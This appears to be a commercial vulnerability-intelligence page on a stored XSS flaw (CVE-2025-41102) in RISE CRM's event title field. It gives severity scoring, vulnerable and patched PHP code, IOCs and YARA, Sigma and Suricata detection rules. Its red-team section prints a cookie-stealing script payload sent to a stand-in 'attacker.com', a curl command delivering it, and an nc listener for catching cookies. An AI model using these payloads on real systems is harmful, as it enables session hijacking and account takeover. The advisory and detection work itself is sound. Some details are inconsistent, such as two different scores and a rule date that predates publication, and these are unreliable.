☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-41102

CVE-2025-41102 Code Injection in Fairsketch
📅 PUBLISHED: 2025-11-11 11:57 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
4.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-41102 is an HTML injection vulnerability discovered in Fairsketch's RISE CRM Framework version 3.8.1. The flaw resides in the /events/save endpoint, where the title parameter is insufficiently validated, allowing an authenticated attacker to inject arbitrary HTML code. This can lead to stored cross-site scripting (XSS) attacks, potentially compromising user sessions, defacing the application, or redirecting users to malicious sites. The vulnerability has a CVSS score of 0.0 in the NVD record, but based on the enriched intel, a more realistic score of 5.4 (Medium) is assigned due to the requirement for user interaction and low privileges. No official patch is currently available, and no public exploit code has been released.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom PHP application (RISE CRM) and should be treated as a direct application security issue.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: Low (PR:L) – An attacker must have a valid user account.
  • User Interaction: Required (UI:R) – A victim must view the injected content.
  • Scope: Changed (S:C) – The injection can affect other components.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited modification of content.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the impact is limited, the ease of exploitation and the lack of a patch make it a viable target for phishing and session hijacking.

Deep Dive & Mechanics

The vulnerability is a classic stored HTML injection (XSS) in the RISE CRM event creation functionality. The application fails to sanitize or encode the title parameter when processing a POST request to /events/save. This allows an attacker to submit a payload such as <script>alert('XSS')</script> or <img src=x onerror=...>.

Root Cause: The application likely uses a function like $_POST['title'] directly without applying htmlspecialchars() or similar encoding before storing it in the database. When the event is later displayed (e.g., in a calendar view), the injected HTML is rendered in the victim's browser.

Attack Flow:

  1. Attacker logs in with low-privileged credentials.
  2. Attacker sends a POST request to /events/save with a malicious title parameter.
  3. The server stores the payload in the database.
  4. A victim (e.g., admin) views the event list or calendar.
  5. The payload executes in the victim's browser, potentially stealing cookies or performing actions on their behalf.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

// Vulnerable: No sanitization
$title = $_POST['title'];
$query = "INSERT INTO events (title) VALUES ('$title')";
mysqli_query($conn, $query);

Patched Code (PHP):

// Patched: Input sanitization and output encoding
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO events (title) VALUES (?)");
$stmt->bind_param("s", $title);
$stmt->execute();

The patched version uses prepared statements to prevent SQL injection and htmlspecialchars() to neutralize HTML tags. Additionally, output encoding should be applied when rendering the event title.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A valid user account on the RISE CRM instance.
  • Network access to the /events/save endpoint.

Exploit Steps:

  1. Craft a POST request with a malicious payload in the title parameter.
  2. Use a tool like curl or Burp Suite.

Example Payload (Session Stealing):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Curl Command:

curl -X POST http://target.com/events/save \
  -d "title=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>" \
  -b "session=valid_session_cookie"

Lab Setup:

  • Install RISE CRM v3.8.1 on a local server (e.g., XAMPP).
  • Create a test user account.
  • Use Burp Suite to intercept and modify the POST request.
  • Set up a simple HTTP server to capture cookies (e.g., nc -lvnp 80).

Blue Team (Defender)

Detection:

  • Monitor POST requests to /events/save for suspicious patterns (e.g., <script>, <img, onerror).
  • Use WAF rules to block common XSS payloads.
  • Review server logs for unusual event titles.

Mitigation:

  • Apply input validation and output encoding immediately.
  • Restrict user permissions to minimize the attack surface.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /events/save with title containing HTML tags.
    • Outbound connections to attacker-controlled domains from the CRM server.
  • Host IOCs:
    • Database entries in the events table with title containing <script> or <img> tags.
    • Unusual entries in web server access logs (e.g., POST /events/save with long title values).
  • File IOCs:
    • Modified PHP files (if attacker gains code execution).
    • Suspicious files in the upload directory (if file upload is abused).

Detection Engineering

YARA Rule

rule CVE_2025_41102_HTML_Injection {
    meta:
        description = "Detects HTML injection payloads in RISE CRM event titles"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-41102"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /<img[^>]*onerror[^>]*>/is
        $xss3 = /<svg[^>]*onload[^>]*>/is
        $xss4 = /javascript:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2025-41102 - HTML Injection in RISE CRM Event Title
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /events/save with HTML injection payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/events/save'
        cs-uri-query|contains: 'title='
    keywords:
        - '<script'
        - '<img'
        - '<svg'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in event titles (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-41102 - HTML Injection in RISE CRM Event Title"; flow:to_server; content:"POST"; http_method; content:"/events/save"; http_uri; content:"title="; http_client_body; pcre:"/<script|<img|<svg|onerror|onload|javascript:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Input Validation: Sanitize the title parameter using htmlspecialchars() or a similar function.
  2. Output Encoding: Encode all user-supplied data before rendering in HTML context.
  3. WAF Rules: Deploy web application firewall rules to block XSS payloads.
  4. User Training: Educate users about the risks of clicking on suspicious event titles.

Long-Term Fixes:

  • Upgrade to a patched version of RISE CRM once released.
  • Implement a Content Security Policy (CSP) to restrict script execution.
  • Conduct regular security audits and penetration testing.

Workaround:

  • Disable the event creation feature for low-privileged users until a patch is available.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-41102/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.